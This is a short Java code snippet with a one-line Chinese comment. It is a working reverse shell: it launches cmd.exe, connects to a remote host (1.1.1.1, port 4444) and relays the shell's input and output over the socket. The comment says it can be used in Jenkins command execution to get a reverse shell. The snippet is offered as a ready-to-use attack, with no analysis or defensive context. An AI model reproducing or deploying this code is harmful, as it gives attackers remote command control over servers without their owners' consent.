String host="1.1.1.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

可以用在Jenkins的命令执行中,用于反弹Shell。
